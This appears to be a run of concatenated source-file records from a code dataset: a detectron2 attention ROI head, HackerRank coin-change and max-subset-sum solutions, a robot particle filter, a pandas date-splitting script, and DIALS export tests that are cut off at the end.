cfg.MODEL.ROI_MASK_HEAD.POOLER_TYPE\n        # fmt: on\n\n        in_channels = [self.feature_channels[f] for f in self.in_features][0]\n\n        self.mask_pooler = ROIPooler(\n            output_size=pooler_resolution,\n            scales=pooler_scales,\n            sampling_ratio=sampling_ratio,\n            pooler_type=pooler_type,\n        )\n        self.mask_head = build_mask_head(\n            cfg, ShapeSpec(channels=in_channels, width=pooler_resolution, height=pooler_resolution)\n        )\n\n    def _init_keypoint_head(self, cfg):\n        # fmt: off\n        self.keypoint_on                         = cfg.MODEL.KEYPOINT_ON\n        if not self.keypoint_on:\n            return\n        pooler_resolution                        = cfg.MODEL.ROI_KEYPOINT_HEAD.POOLER_RESOLUTION\n        pooler_scales                            = tuple(1.0 / self.feature_strides[k] for k in self.in_features)  # noqa\n        sampling_ratio                           = cfg.MODEL.ROI_KEYPOINT_HEAD.POOLER_SAMPLING_RATIO\n        pooler_type                              = cfg.MODEL.ROI_KEYPOINT_HEAD.POOLER_TYPE\n        self.normalize_loss_by_visible_keypoints = cfg.MODEL.ROI_KEYPOINT_HEAD.NORMALIZE_LOSS_BY_VISIBLE_KEYPOINTS  # noqa\n        self.keypoint_loss_weight                = cfg.MODEL.ROI_KEYPOINT_HEAD.LOSS_WEIGHT\n        # fmt: on\n\n        in_channels = [self.feature_channels[f] for f in self.in_features][0]\n\n        self.keypoint_pooler = ROIPooler(\n            output_size=pooler_resolution,\n            scales=pooler_scales,\n            sampling_ratio=sampling_ratio,\n            pooler_type=pooler_type,\n        )\n        self.keypoint_head = build_keypoint_head(\n            cfg, ShapeSpec(channels=in_channels, width=pooler_resolution, height=pooler_resolution)\n        )\n\n    def forward(self, images, features, proposals, targets=None, use_proposals = False):\n        \"\"\"\n        See :class:`ROIHeads.forward`.\n        \"\"\"\n        \n        del images\n        if self.training:\n            proposals = self.label_and_sample_proposals(proposals, targets)\n        del targets\n\n        features_list = [features[f] for f in self.in_features]\n#         print(features_list[0].shape) # [2, 1024, 1, 2]\n        if self.training:\n            losses, enhanced_feature = self._forward_global_box(features_list, proposals)\n            losses.update(self._forward_box(features_list, proposals, enhanced_feature))\n            # During training the proposals used by the box head are\n            # used by the mask, keypoint (and densepose) heads.\n            losses.update(self._forward_mask(features_list, proposals))\n            losses.update(self._forward_keypoint(features_list, proposals))\n            return proposals, losses\n        else:\n            _, enhanced_feature = self._forward_global_box(features_list, proposals)\n            pred_instances = self._forward_box(features_list, proposals, enhanced_feature)\n            # During inference cascaded prediction is used: the mask and keypoints heads are only\n            # applied to the top scoring box detections.\n            pred_instances = self.forward_with_given_boxes(features, pred_instances)\n            return pred_instances, {}\n\n    def forward_with_given_boxes(self, features, instances):\n        \"\"\"\n        Use the given boxes in `instances` to produce other (non-box) per-ROI outputs.\n\n        This is useful for downstream tasks where a box is known, but need to obtain\n        other attributes (outputs of other heads).\n        Test-time augmentation also uses this.\n\n        Args:\n            features: same as in `forward()`\n            instances (list[Instances]): instances to predict other outputs. Expect the keys\n                \"pred_boxes\" and \"pred_classes\" to exist.\n\n        Returns:\n            instances (Instances):\n                the same `Instances` object, with extra\n                fields such as `pred_masks` or `pred_keypoints`.\n        \"\"\"\n        assert not self.training\n        assert instances[0].has(\"pred_boxes\") and instances[0].has(\"pred_classes\")\n        features = [features[f] for f in self.in_features]\n\n        instances = self._forward_mask(features, instances)\n        instances = self._forward_keypoint(features, instances)\n        return instances\n\n\n    def _forward_global_box(self, features, proposals):\n        \"\"\"\n        Forward logic of the box prediction branch.\n\n        Args:\n            features (list[Tensor]): #level input features for box prediction\n            proposals (list[Instances]): the per-image object proposals with\n                their matching ground truth.\n                Each has fields \"proposal_boxes\", and \"objectness_logits\",\n                \"gt_classes\", \"gt_boxes\".\n\n        Returns:\n            In training, a dict of losses.\n            In inference, a list of `Instances`, the predicted instances.\n        \"\"\"\n#         print(len(features)) # [1] batch size\n#         print(features[0].shape) # [2, 1024, 1, 2]\n        box_features = self.global_box_pooler(features, [x.proposal_boxes for x in proposals])\n#         print(len(box_features)) # [11]\n#         print(box_features[0].shape) # [1024, 14, 14]\n        box_features = self.global_box_head(box_features)\n#         print(len(box_features)) # [11]\n#         print(box_features[0].shape) # [1024]\n        pred_class_logits, pred_proposal_deltas = self.global_box_predictor(box_features)\n#         print(self.box_predictor.cls_score.weight.shape) # 81, 1024\n#         print(self.box_predictor.cls_score.bias.shape) # 81\n#         print(len(pred_class_logits)) # 11\n#         print(pred_class_logits[0].shape) # 81 -> class_num + 1\n#         print(len(pred_proposal_deltas)) # 11\n#         print(pred_proposal_deltas[0].shape) # 320 -> 4 * num_class\n\n#         tmp_features = torch.stack(features).squeeze(0)\n#         for ops in self.cmp_attention:\n#             squeeze_ext_feature = ops(tmp_features)\n#             print(squeeze_ext_feature.shape)\n#             if len(box_features.size()) > 2:\n#                 squeeze_ext_feature = squeeze_ext_feature.mean(3).mean(2)\n#             else:\n#                 squeeze_ext_feature = self.relu(squeeze_ext_feature)\n        \n        del box_features\n        \n        # my defined of attention\n        # all_possible_classes_logits = [num_class + 1]\n        all_possible_classes_logits = pred_class_logits.max(0).values\n        all_possible_classes_logits = nn.Softmax(0)(all_possible_classes_logits)\n\n        # global_semantic_features = [num_class + 1, 1025]\n        global_semantic_features = torch.cat((self.global_box_predictor.cls_score.weight,\n                                                  self.global_box_predictor.cls_score.bias.unsqueeze(1)), 1).detach()\n        # img_wise_semantic_pool = [81, 1025]\n        img_wise_semantic_pool = global_semantic_features*all_possible_classes_logits.unsqueeze(-1)\n\n#         self.cmp_attention()\n#         attention_map = nn.Softmax(1)(torch.mm(base_feat, torch.transpose(global_semantic_pool, 0, 1)))\n        tmp_feature = torch.mm(pred_class_logits, img_wise_semantic_pool)\n\n        enhanced_feature = self.W_G(tmp_feature)\n        \n        outputs = FastRCNNOutputs(\n            self.box2box_transform,\n            pred_class_logits,\n            pred_proposal_deltas,\n            proposals,\n            self.smooth_l1_beta,\n        )\n        if self.training:\n            return outputs.losses(is_global=True), enhanced_feature\n        else:\n            pred_instances, _ = outputs.inference(\n                self.test_score_thresh, self.test_nms_thresh, self.test_detections_per_img\n            )\n            return pred_instances, enhanced_feature\n        \n    def _forward_box(self, features, proposals, enhanced_feature):\n        \"\"\"\n        Forward logic of the box prediction branch.\n\n        Args:\n            features (list[Tensor]): #level input features for box prediction\n            proposals (list[Instances]): the per-image object proposals with\n                their matching ground truth.\n                Each has fields \"proposal_boxes\", and \"objectness_logits\",\n                \"gt_classes\", \"gt_boxes\".\n\n        Returns:\n            In training, a dict of losses.\n            In inference, a list of `Instances`, the predicted instances.\n        \"\"\"\n\n#         print(len(features)) # [1] batch size\n#         print(features[0].shape) # [2, 1024, 1, 2]\n\n\n        box_features = self.box_pooler(features, [x.proposal_boxes for x in proposals])\n#         print(\"box_features:\",len(box_features)) # [11]\n#         print(box_features[0].shape) # [1024, 14, 14]\n        box_features = self.box_head(box_features)\n        box_features = torch.cat((box_features, enhanced_feature), 1)\n#         print(\"box_features:\",len(box_features)) # [11]\n#         print(box_features[0].shape) # [1024]\n        pred_class_logits, pred_proposal_deltas = self.box_predictor(box_features)\n#         print(self.box_predictor.cls_score.weight.shape) # 81, 1024\n#         print(self.box_predictor.cls_score.bias.shape) # 81\n#         print(len(pred_class_logits)) # 11\n#         print(pred_class_logits[0].shape) # 81 -> class_num + 1\n#         print(len(pred_proposal_deltas)) # 11\n#         print(pred_proposal_deltas[0].shape) # 320 -> 4 * num_class\n        del box_features\n        \n        outputs = FastRCNNOutputs(\n            self.box2box_transform,\n            pred_class_logits,\n            pred_proposal_deltas,\n            proposals,\n            self.smooth_l1_beta,\n        )\n        if self.training:\n            return outputs.losses()\n        else:\n            pred_instances, _ = outputs.inference(\n                self.test_score_thresh, self.test_nms_thresh, self.test_detections_per_img\n            )\n            return pred_instances\n\n    def _forward_mask(self, features, instances):\n        \"\"\"\n        Forward logic of the mask prediction branch.\n\n        Args:\n            features (list[Tensor]): #level input features for mask prediction\n            instances (list[Instances]): the per-image instances to train/predict masks.\n                In training, they can be the proposals.\n                In inference, they can be the predicted boxes.\n\n        Returns:\n            In training, a dict of losses.\n            In inference, update `instances` with new fields \"pred_masks\" and return it.\n        \"\"\"\n        if not self.mask_on:\n            return {} if self.training else instances\n        \n        if self.training:\n            # The loss is only defined on positive proposals.\n            proposals, _ = select_foreground_proposals(instances, self.num_classes)\n            proposal_boxes = [x.proposal_boxes for x in proposals]\n            mask_features = self.mask_pooler(features, proposal_boxes)\n\n            mask_logits = self.mask_head(mask_features)\n            return {\"loss_mask\": mask_rcnn_loss(mask_logits, proposals)}\n        else:\n            pred_boxes = [x.pred_boxes for x in instances]\n            mask_features = self.mask_pooler(features, pred_boxes)\n            mask_logits = self.mask_head(mask_features)\n            mask_rcnn_inference(mask_logits, instances)\n            return instances\n\n    def _forward_keypoint(self, features, instances):\n        \"\"\"\n        Forward logic of the keypoint prediction branch.\n\n        Args:\n            features (list[Tensor]): #level input features for keypoint prediction\n            instances (list[Instances]): the per-image instances to train/predict keypoints.\n                In training, they can be the proposals.\n                In inference, they can be the predicted boxes.\n\n        Returns:\n            In training, a dict of losses.\n            In inference, update `instances` with new fields \"pred_keypoints\" and return it.\n        \"\"\"\n        if not self.keypoint_on:\n            return {} if self.training else instances\n\n        num_images = len(instances)\n\n        if self.training:\n            # The loss is defined on positive proposals with at >=1 visible keypoints.\n            proposals, _ = select_foreground_proposals(instances, self.num_classes)\n            proposals = select_proposals_with_visible_keypoints(proposals)\n            proposal_boxes = [x.proposal_boxes for x in proposals]\n\n            keypoint_features = self.keypoint_pooler(features, proposal_boxes)\n            keypoint_logits = self.keypoint_head(keypoint_features)\n\n            normalizer = (\n                num_images\n                * self.batch_size_per_image\n                * self.positive_sample_fraction\n                * keypoint_logits.shape[1]\n            )\n            loss = keypoint_rcnn_loss(\n                keypoint_logits,\n                proposals,\n                normalizer=None if self.normalize_loss_by_visible_keypoints else normalizer,\n            )\n            return {\"loss_keypoint\": loss * self.keypoint_loss_weight}\n        else:\n            pred_boxes = [x.pred_boxes for x in instances]\n            keypoint_features = self.keypoint_pooler(features, pred_boxes)\n            keypoint_logits = self.keypoint_head(keypoint_features)\n            keypoint_rcnn_inference(keypoint_logits, instances)\n            return instances\n\ndef select_foreground_proposals(proposals, bg_label):\n    \"\"\"\n    Given a list of N Instances (for N images), each containing a `gt_classes` field,\n    return a list of Instances that contain only instances with `gt_classes != -1 &&\n    gt_classes != bg_label`.\n\n    Args:\n        proposals (list[Instances]): A list of N Instances, where N is the number of\n            images in the batch.\n        bg_label: label index of background class.\n\n    Returns:\n        list[Instances]: N Instances, each contains only the selected foreground instances.\n        list[Tensor]: N boolean vector, correspond to the selection mask of\n            each instance. True for selected instances.\n    \"\"\"\n    assert isinstance(proposals, (list, tuple))\n    assert isinstance(proposals[0], Instances)\n    assert proposals[0].has(\"gt_classes\")\n    fg_proposals = []\n    fg_selection_masks = []\n    for proposals_per_image in proposals:\n        gt_classes = proposals_per_image.gt_classes\n        fg_selection_mask = (gt_classes != -1) & (gt_classes != bg_label)\n        fg_idxs = fg_selection_mask.nonzero().squeeze(1)\n        fg_proposals.append(proposals_per_image[fg_idxs])\n        fg_selection_masks.append(fg_selection_mask)\n    return fg_proposals, fg_selection_masks\n\n        ","sub_path":"detectron2/modeling/roi_heads/attention_roi_head.py","file_name":"attention_roi_head.py","file_ext":"py","file_size_in_byte":20657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"230471119","text":"########################################################################\n\"\"\" The Coin Change Problem \"\"\"\n########################################################################\n\"\"\" (Medium, 60, by alanl)\n\nSample Input 1\n10 4\n2 5 3 6\n\nSample Output 1\n5\n\nExplanation 1\n\nThere are five ways to make change for n=10 units using coins with values given by : C = [2,5,3,6]\n1. {2,2,2,2,2}\n2. {2,2,3,3}\n3. {2,2,6}\n4. {2,3,5}\n5. {5,5}\nThus, we print 5 as our answer.\n\n\"\"\"\n\n### 첫 번째 시도 : recursive function을 사��해서 했으나, 짧은 입력의 테스트는 통과하지만 긴 입력은 시간 초과로 통과하지 않았다.\n### recursive 함수로 dynamic programming하는 것은 굉장히 비효율적인 것 같다. 어찌됬든 결과값은 나온다.\n#!/bin/python3\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the getWays function below.\nglobal glob_cnt # recursive 함수의 return 횟수를 카운팅하기 위해 전역 변수를 따로 뒀다.\nglob_cnt = 0\n\ndef recursive(c_list, bef_sum, n_sum, bef_idx):\n    global glob_cnt\n    \n    for i, cur_c in enumerate(c_list):\n\n        if bef_idx > i: # recursive가 한 단계 깊어짐에 있어서 index가 항상 정주행되도록.\n            #print('~~~~', bef_idx, i, '(list)', c_list)\n            continue\n        \n        cur_sum = bef_sum + cur_c \n        #print('->', cur_c)\n        \n        if cur_sum == n_sum:\n            #print('---cur_sum:', cur_sum)\n            glob_cnt += 1\n            return 0\n        elif cur_sum > n_sum:\n            #print('+++cur_sum:', cur_sum)\n            pass # 여기선 return하면 안된다. 다음 for문의 element들까지 search해야 하기 때문.\n            #return 0\n        elif cur_sum < n_sum:\n            recursive(c_list, cur_sum, n_sum, i) # sum에 도달하지 않으면, 계속 재귀함수로 들어감.\n        \n        #return 0\n    \n        #filter_i += 1\n        #n_jump += i\n        #if i != len(c_list)-1:\n        #    recursive(c_list, 0, n_sum, i) # sub recursive \n\ndef getWays(n, c):\n    \n    n_sum = n\n    c_list = c\n    \n    #for cur_c in c_list:\n        #print(cur_c)\n    #    recursive(c_list, cur_c, n_sum) # bef_sum -> cur_c\n        #print('---------------------')\n        \n    #recursive(c_list, 0, n_sum, 0)\n    \n    for i, cur_c in enumerate(c_list):\n        #print('Base--->', c_list[i])\n        recursive(c_list[i:], c_list[i], n_sum, i-1) # c_list[i:]로 인해 i이 증가될 수록 list크기는 작아짐. \n        #break\n    \nif __name__ == '__main__':\n    fptr = open(os.environ['OUTPUT_PATH'], 'w')\n    nm = input().split()\n    n = int(nm[0])\n    m = int(nm[1])\n    c = list(map(int, input().rstrip().split()))\n\n    # Print the number of ways of making change for 'n' units using coins having the values given by 'c'\n    getWays(n, c)\n    #ways = int(glob_cnt/2)+1\n    ways = glob_cnt\n    #print(ways)\n    #print('-------------------------')\n    #print(int(glob_cnt/2)+1)\n    fptr.write(str(ways))\n    fptr.close()\n\n\t\n\t\n####################################################\n\"\"\" Max Array Sum \"\"\"\n####################################################\n''' by shashank21j, Medium, 20\nGiven an array of integers, find the subset of non-adjacent elements with the maximum sum. Calculate the sum of that subset.\n\n< Sample Input 0 >\n5\n3 7 4 6 5\n< Sample Output 0 >\n13\n< Explanation 0 >\nOur possible subsets are [3,4,5],[3,4],[3,6],[3,5],[7,6],[7,5] and [4,5]. The largest subset sum is 13 from subset [7,6] \n'''\n#!/bin/python3\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n'''\n# Complete the maxSubsetSum function below.\n# recursion 버전의 dynamic programming은 속도가 엄청 느리다 봄.\ndef recursion(sum_list, temp_sum, sub_arr):\n    #print(sub_arr, len(sub_arr))\n    #print(sum_list)\n    \n    if len(sub_arr)==2 or len(sub_arr)==1:\n        #print('return!')\n        return None\n    \n    for j, _ in enumerate(sub_arr):\n        backup_sum = temp_sum\n        if j==0 or j==1: continue # j==0: self, j==1: adjacent element\n            \n        backup_sum += sub_arr[j]\n        #print(temp_sum)\n        sum_list.append(backup_sum)\n        \n        recursion(sum_list, backup_sum, sub_arr[j:])\n    #print('end return')\n            \ndef maxSubsetSum(arr):\n    sum_list = []\n    for i, _ in enumerate(arr):\n        if i==len(arr)-2: break\n        recursion(sum_list, arr[i], arr[i:]) # start: arr[i]\n    return max(sum_list)\n'''\n\ndef maxSubsetSum(arr):\n    \n    # 주의: 초기화 잘해야 함.\n    dp = [0]*len(arr)\n    dp[0] = max(0, arr[0])\n    dp[1] = max(dp[0], arr[1]) \n\n    if len(arr)==1:\n        return arr[0]\n    \n    for i, _ in enumerate(arr):\n        if i==0 or i==1: continue\n        dp[i] = max( dp[i-2], max( (dp[i-2]+arr[i]), dp[i-1] ) ) # (핵심 로직) 음수때문에 max()를 하나 더.\n    \n    return max(dp[-2], dp[-1])\n        \nif __name__ == '__main__':\n    fptr = open(os.environ['OUTPUT_PATH'], 'w')\n    n = int(input())\n    arr = list(map(int, input().rstrip().split()))\n    res = maxSubsetSum(arr)\n    fptr.write(str(res) + '\\n')\n    fptr.close()\n\t\n\t\n\t","sub_path":"hackerrank/algorithms/code/dynamic_programming.py","file_name":"dynamic_programming.py","file_ext":"py","file_size_in_byte":5078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"483106098","text":"from math import sqrt, cos, sin, exp, pi\n#import numpy as np\nimport random\n#import argparse\n#import scipy.stats\nfrom collections import defaultdict\nimport math\nimport matplotlib.pyplot as plt\n\n# --------\n\ndef read_world_data(filename):\n\n    \"\"\" Lee el archivo que contiene las posiciones de los landmaks \n    \"\"\"\n    \n    world_dict = defaultdict()\n    f = open(filename)\n    for line in f:\n        line_s  = line.split('\\n')\n        \n        line_spl  = line_s[0].split(' ')\n        \n        world_dict[float(line_spl[0])] = [float(line_spl[1]),float(line_spl[2])]      \n\n    return world_dict\n\n# --------\n\ndef read_sensor_data(filename):\n    \n    \"\"\" Lee el archivo que contiene las mediciones y las odometrías\n        para cada instante de tiempo. \n    \"\"\"\n    \n    data_dict = defaultdict()\n    id_arr =[]\n    range_arr=[]\n    bearing_arr=[]\n    first_time = True\n    timestamp=-1\n    f = open(filename)\n\n    for line in f:\n        \n        line_s = line.split('\\n') # remove the new line character\n        line_spl = line_s[0].split(' ') # split the line\n        \n        if (line_spl[0]=='ODOMETRY'):\n           \n            data_dict[timestamp,'odom'] = {'r1':float(line_spl[1]),'t':float(line_spl[2]),'r2':float(line_spl[3])}\n            if (first_time == True): \n                first_time= False\n                \n            else: \n            \n                data_dict[timestamp,'sensor'] = {'id':id_arr,'range':range_arr,'bearing':bearing_arr}                \n                id_arr=[]\n                range_arr = []\n                bearing_arr = []\n\n            timestamp = timestamp+1\n            \n        if(line_spl[0]=='SENSOR'):\n            \n            id_arr.append(float(line_spl[1]))    \n            range_arr.append(float(line_spl[2]))\n            bearing_arr.append(float(line_spl[3]))\n                              \n            \n    data_dict[timestamp-1,'sensor'] = {'id':id_arr,'range':range_arr,'bearing':bearing_arr}            \n    return data_dict\n    \n# --------\n\nclass robot():\n\n    def __init__(self):\n        \n        \"\"\" creates robot and initializes location/orientation \n        \"\"\"\n            \n        self.x = random.random()  # initial x position\n        self.y = random.random() # initial y position\n        self.orientation = random.uniform(-math.pi,math.pi) # initial orientation\n        self.weights = 1.0\n       \n    def measurement_prob_range(self, ids, ranges, world_dict):\n        \n        \"\"\" computes the probability of a measurement \n        \"\"\"\n        \n        # TENGO QUE CALCULAR CUÁL ES LA PROBABILIDAD DE MEDIR LO QUE MEDÍ\n        # DADO QUE ESTOY EN LA POSE (self.x, self.y, self.theta)\n        sigma_r = .2\n        p = lambda x,mu: 1/(sqrt(2*pi)*sigma_r) * exp(-(x-mu)**2/2/sigma_r**2)\n        \n        N = len(ids)\n        w = 1\n        for i in range(N):\n            mu = sqrt((self.x - world_dict[ids[i]][0])**2 + (self.y - world_dict[ids[i]][1])**2)\n            w = w * p(ranges[i],mu)\n            \n        return w\n        \n        ''' Complete this Stub for the measurement model which is based on range only\n        Range only implies that the error has to be calculated based only on the range values'''\n        # This function takes in the ranges , and ids of the sensor data for each measurement update\n        # World data is passed as the dictionary. The positions of the landmarks in the world \n        # can be accessed as wrld_dict[ids[i]][0],wrld_dict[ids[i]][1] \n        # where i is looped over the number of measurements for the current timestamp       \n   \n    def mov_odom(self,odom,noise):\n        \n        \"\"\" Takes in Odometry data\n        \"\"\"\n    \n        # Calculate the distance and Guassian noise      \n        dist  = odom['t']\n        \n        # calculate delta rotation 1 and delta rotation 1\n        delta_rot1  = odom['r1']\n        delta_rot2 = odom['r2']\n        \n        # noise sigma for delta_rot1 \n        sigma_delta_rot1 = noise[0]*abs(delta_rot1)  + noise[1]*abs(dist)\n        delta_rot1_noisy = delta_rot1 + random.gauss(0,sigma_delta_rot1)\n\n        # noise sigma for translation\n        sigma_translation = noise[2]*abs(dist)  + noise[3]*abs(delta_rot1+delta_rot2)\n        translation_noisy = dist + random.gauss(0,sigma_translation)\n\n        # noise sigma for delta_rot2\n        sigma_delta_rot2 = noise[0]*abs(delta_rot2)  + noise[1]*abs(dist)\n        delta_rot2_noisy = delta_rot2 + random.gauss(0,sigma_delta_rot2)\n\n        # Estimate of the new position of the robot\n        x_new = self.x  + translation_noisy * cos(self.orientation+delta_rot1_noisy)\n        y_new = self.y  + translation_noisy * sin(self.orientation+delta_rot1_noisy)\n        theta_new = self.orientation + delta_rot1_noisy + delta_rot2_noisy\n\n        self.x = float(x_new)\n        self.y = float(y_new)\n        self.orientation = float(theta_new)\n        #if new_orientation < -math.pi or new_orientation >= math.pi:\n        #    raise ValueError, 'Orientation must be in [-pi..pi]'\n\n\n    def set_weights(self, weight):\n        \n        \"\"\"Set the weight of the particles\n        \"\"\"\n        \n        #noise parameters\n        self.weights  = float(weight)\n\n# --------\n\ndef get_mean_position(p):\n    \n    \"\"\" extract position from a particle set\n    \"\"\"\n    \n    x = 0.0\n    y = 0.0\n    avg_oreint = 0.0\n   \n    ''' Write the code here to calculate the mean position and orientation of all the particles'''\n    \n    x_pos = []\n    y_pos = []\n    \n    for P in p:\n        x = x + P.x\n        x_pos.append(P.x)\n        y = y + P.y\n        y_pos.append(P.y)\n        avg_oreint = avg_oreint + P.orientation\n    \n    x = x/len(p)\n    y = y/len(p)\n    avg_orient = avg_oreint/len(p)\n\n    # Particles are plotted here: \n    # Lists x_pos and y_pos contains the x and y positions of all the particles \n    # which can be accessed from.\n    # p[i].x, p[i].y, avg_oreint is the average orientation of all the particles\n    plt.plot(x_pos,y_pos,'r.')  \n    quiver_len = 3.0\n    plt.quiver(x, y, quiver_len * cos(avg_oreint), quiver_len * sin(avg_orient),angles='xy',scale_units='xy')\n\n    return [x, y, avg_orient ]\n\n# --------  \n    \ndef resample_particles(w, particles):\n    \n    ''' Resmapling the Particles \n        Complete this Stub to resample the weights of the particles  \n    '''           \n    \"\"\"\n    #normalize the weights\n    s = sum(w)\n    for i in range(len(w)):\n        w[i] = w[i]/s\n    \n    \n    # calculate the PDF of the weights\n    pdf=[]          \n    for k in range(len(p)):\n        # Calculate the step for random sampling , it depends on number of \n        #particles\n        \n    step =        \n    # Sample a value in between [0,step) uniformly\n       \n    seed = \n    #print 'Seed is %0.15s and step is %0.15s' %(seed, step)\n\n    # resample the particles based on the seed , step and cacluated pdf\n    for h in range(len(p)):             \n            \n    return p_sampled \"\"\"\n    \n    N = len(w)\n    P = 1/N\n    Start = random.random() * P\n    Pointers = []\n    for i in range(N):\n        Pointers.append(Start + i * P)\n\n    Keep = []\n    for p in Pointers:\n        i = 0\n        while w[i] < p:\n            i +=1\n        Keep.append(particles[i])\n        \n    return Keep\n\n# --------\n\ndef particle_filter(data_dict,world_dict, N, noise_param): # \n    \n    # Make particles\n    p = [] \n    for i in range(N):\n        p.append(robot())\n\n    # Update particles\n    for t in range(len(data_dict)//2):\n\n        # motion update (prediction)\n        for i in range(N):\n            p[i].mov_odom(data_dict[t,'odom'],noise_param)\n\n        # measurement update\n        w = []\n        for i in range(N):\n            w.append(p[i].measurement_prob_range(data_dict[t,'sensor']['id'],data_dict[t,'sensor']['range'],world_dict))\n        \n        p = resample_particles(w,p)\n        \n    return p\n    \n\n# --------\n#EOF","sub_path":"TP2/particle_filter.py","file_name":"particle_filter.py","file_ext":"py","file_size_in_byte":7805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"183025810","text":"\n#Devide date and time into two columns\nimport pandas as pd\n\n#Open file\ndf = pd.read_csv ('./data/0_results_robinhood.csv', index_col=None, header=0)\ndf.append(df)\ndf.head()\ndf.shape\ndf['date']\n\nreviews = df['date'].str.split('T',n=2,expand=True)\nreviews.head()\n\ndf['dates']=reviews[0]\ndf['time']=reviews[1]\ndf.drop(columns='date',inplace=True)\n\nreviews = df['time'].str.split('+',n=2,expand=True)\nreviews.head()\n\ndf['time']=reviews[0]\nreviews.head()\n\n\n\ndf.to_csv('./data/cleaneddate.csv')","sub_path":"datetimetransform.py","file_name":"datetimetransform.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"535064388","text":"from __future__ import absolute_import, division, print_function\n\nimport json\nimport os\nimport procrunner\nimport pytest\n\n# Tests used to check for h5py\n# May need to add this again if lack of this check causes issues.\n\ndef test_nxs(dials_regression, tmpdir):\n  tmpdir.chdir()\n\n  # Call dials.export\n  result = procrunner.run_process([\n      'dials.export',\n      'format=nxs',\n      os.path.join(dials_regression, \"centroid_test_data\", \"experiments.json\"),\n      os.path.join(dials_regression, \"centroid_test_data\", \"integrated.pickle\"),\n  ])\n  assert result['exitcode'] == 0\n  assert result['stderr'] == ''\n  assert os.path.exists(\"integrated.nxs\")\n\ndef test_mtz(dials_regression, tmpdir):\n  tmpdir.chdir()\n\n  # Call dials.export\n  result = procrunner.run_process([\n      'dials.export',\n      'format=mtz',\n      os.path.join(dials_regression, \"centroid_test_data\", \"experiments.json\"),\n      os.path.join(dials_regression, \"centroid_test_data\", \"integrated.pickle\"),\n  ])\n  assert result['exitcode'] == 0\n  assert result['stderr'] == ''\n  assert os.path.exists(\"integrated.mtz\")\n\ndef test_mmcif(dials_regression, tmpdir):\n  tmpdir.chdir()\n\n  # Call dials.export after integration\n  result = procrunner.run_process([\n      'dials.export',\n      'format=mmcif',\n      os.path.join(dials_regression, \"centroid_test_data\", \"experiments.json\"),\n      os.path.join(dials_regression, \"centroid_test_data\", \"integrated.pickle\"),\n  ])\n  assert result['exitcode'] == 0\n  assert result['stderr'] == ''\n  assert os.path.exists(\"integrated.cif\")\n\n  #TODO include similar test for exporting scaled data in mmcif format\n\ndef test_xds_ascii(dials_regression, tmpdir):\n  tmpdir.chdir()\n\n  # Call dials.export\n  result = procrunner.run_process([\n      'dials.export',\n      'intensity=sum',\n      'format=xds_ascii',\n      os.path.join(dials_regression, \"centroid_test_data\", \"experiments.json\"),\n      os.path.join(dials_regression, \"centroid_test_data\", \"integrated.pickle\"),\n  ])\n  assert result['exitcode'] == 0\n  assert result['stderr'] == ''\n  assert os.path.exists(\"DIALS.HKL\")\n\n  psi_values = {\n    (-9, 7, -10):153.430361,\n    (-5, 11, -26):175.559441,\n    (-4, 23, 24):129.468070,\n    (2, 10, 20):147.947274\n    }\n\n  for record in open('DIALS.HKL', 'r'):\n    if record.startswith('!'):\n      continue\n    tokens = record.split()\n    hkl = tuple(map(int, tokens[:3]))\n    if not hkl in psi_values:\n      continue\n    psi = float(tokens[-1])\n    assert psi == pytest.approx(psi_values[hkl], abs=0.1)\n\ndef test_sadabs(dials_regression, tmpdir):\n  tmpdir.chdir()\n\n  # Call dials.export\n  result = procrunner.run_process([\n    'dials.export',\n    'intensity=sum',\n    'mtz.partiality_threshold=0.99',\n    'format=sadabs',\n      os.path.join(dials_regression, \"centroid_test_data\", \"experiments.json\"),\n      os.path.join(dials_regression, \"centroid_test_data\", \"integrated.pickle\"),\n  ])\n  assert result['exitcode'] == 0\n  assert result['stderr'] == ''\n  assert os.path.exists(\"integrated.sad\")\n\n  direction_cosines = {\n    (-9, 7, -10):(0.51253, -0.72107, 0.84696, -0.68476, -0.14130, -0.10561),\n    (-5, 11, -26):(0.51310, -0.62895, 0.84711, -0.59223, -0.13830, -0.50366),\n    (-4, 23, 24):(0.51308, -0.60578, 0.84711, -0.31416, -0.13840, 0.73099),\n    (2, 10, 20):(0.51239, -0.46605, 0.84693, -0.61521, -0.14204, 0.63586)\n    }\n\n  with open('integrated.sad', 'r') as fh:\n    for record in fh:\n      record = record.replace('-', ' -')\n      tokens = record.split()\n      hkl = tuple(map(int, tokens[:3]))\n      cosines = tuple(map(float, tokens[6:12]))\n      if not hkl in direction_cosines:\n        continue\n      assert cosines == pytest.approx(direction_cosines[hkl], abs=0.001)\n\ndef test_json(dials_regression, tmpdir):\n  tmpdir.chdir()\n\n  # Call dials.export\n  result = procrunner.run_process([\n      'dials.export',\n      'format=json',\n      os.path.join(dials_regression, \"centroid_test_data\", \"datablock.json\"),\n      os.path.join(dials_regression, \"centroid_test_data\", \"strong.pickle\"),\n  ])\n  assert result['exitcode'] == 0\n  assert result['stderr'] == ''\n  assert os.path.exists('rlp.json')\n\n  from dxtbx.datablock import DataBlockFactory\n  with open('rlp.json', 'rb') as f:\n    d = json.load(f)\n  assert d.keys() == ['imageset_id', 'datablocks', 'rlp', 'experiment_id'], d.keys()\n  assert d['rlp'][:3] == [0.123454, 0.57687, 0.186465], d['rlp'][:3]\n  assert d['imageset_id'][0] == 0\n  assert d['experiment_id'][0] == 0\n  assert len(d['datablocks']) == 1\n  db = DataBlockFactory.from_dict(d['datablocks'])\n  imgset = db[0].extract_imagesets()\n  assert len(imgset) == 1\n\ndef test_json_shortened(dials_regression, tmpdir):\n  tmpdir.chdir()\n\n  # Call dials.export\n  result = procrunner.run_process([\n      'dials.export',\n      'format=json',\n      os.path.join(dials_regression, \"centroid_test_data\", \"experiments.json\"),\n      os.path.join(dials_regression, \"centroid_test_data\", \"integrated.pickle\"),\n      'json.filename=integrated.json',\n      'n_digits=4',\n      'compact=False',\n  ])\n  assert result['exitcode'] == 0\n  assert result['stderr'] == ''\n  assert os.path.exists('integrated.json')\n\n  with open('integrated.json', 'rb') as f:\n    d = json.load(f)\n  assert d.keys() == 